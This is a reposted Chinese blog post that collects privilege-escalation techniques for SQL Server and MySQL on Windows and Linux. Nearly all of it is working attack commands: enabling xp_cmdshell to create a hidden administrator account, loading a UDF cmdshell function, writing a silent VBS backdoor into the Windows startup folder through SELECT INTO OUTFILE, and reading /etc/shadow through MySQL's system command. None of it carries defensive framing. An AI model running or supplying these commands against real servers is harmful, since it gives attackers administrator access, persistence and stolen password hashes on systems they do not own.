转载请注明出处:https://blog.csdn.net/l1028386804/article/details/85768994

一、SQL Server提权

1.启用或关闭xp_cmdshell

--启用xp_cmdshell
USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 
 
 
--关闭xp_cmdshell
USE master 
EXEC sp_configure 'show advanced options', 1 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure 'xp_cmdshell', 0 
RECONFIGURE WITH OVERRIDE 
EXEC sp_configure   'show advanced options', 0
RECONFIGURE WITH OVERRIDE 

2.添加用户

Exec master.dbo.xp_cmdshell 'net user liuyazhuang lyz123 /add'

3.将用户添加到管理员组

Exec master.dbo.xp_cmdshell 'net localgroup administrators liuyazhuang /add'

4.通过xp_cmdshell exec查看系统用户

Exec master.dbo.xp_cmdshell 'net user'

5.远程终端登录

命令行运行mstsc打开远程终端,输入IP地址和刚才添加的用户名和密码,登录即可。

另外,通过数据库备份,将批处理命令备份到启动文件夹下,系统重启后就会自动执行批处理命令,也能达到提权的效果。

二、MySQL提权

1.将udf.dll文件导出到默认的插件目录下

2.UDF提权的常用命令

create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user liuyazhuang lyz123 /add');
select cmdshell('net localgroup administrators liuyazhuang /add');
select cmdshell('net localgroup administrators');
select cmdshell('ipconfig/all');
select cmdshell('net user');
select cmdshell('regedit /s d:\wwwroot\3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');

3.VBS启动项

先通过WebShell连接数据库,通过建立表a将VBS脚本写入表中,然后导入启动项。该脚本仅对中文版有效,如果使用其他语言版本的操作系统,仅需对"C:\\Documents and Settings\\All Users\\[开始]菜单\\程序\\启动\\a.vbs"这个脚本进行相应更改。在VBS脚本后面有一个"0",表示不弹出CMD窗口,以静默模式运行。该方法是在通过UDF提权失败的情况下,将VBS插入启动项中,待系统重启后将自动添加一个用户,示例如下:

create table a (cmd text);
insert into a values("set wshshell=createobject(""wscript.shell"") " );
insert into a values("a=wshshell.run(""cmd.exe /c net user liuyazhuang lyz123 /add"",0) " );
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators liuyazhuang /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\[开始]菜单\\程序\\启动\\a.vbs";

三、Linux下的MySQL提权

mysql -hlocalhost -uroot -p
system useradd hacker
system passwd hacker
system tail -l /etc/passwd
system tail -l /etc/shadow

 

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐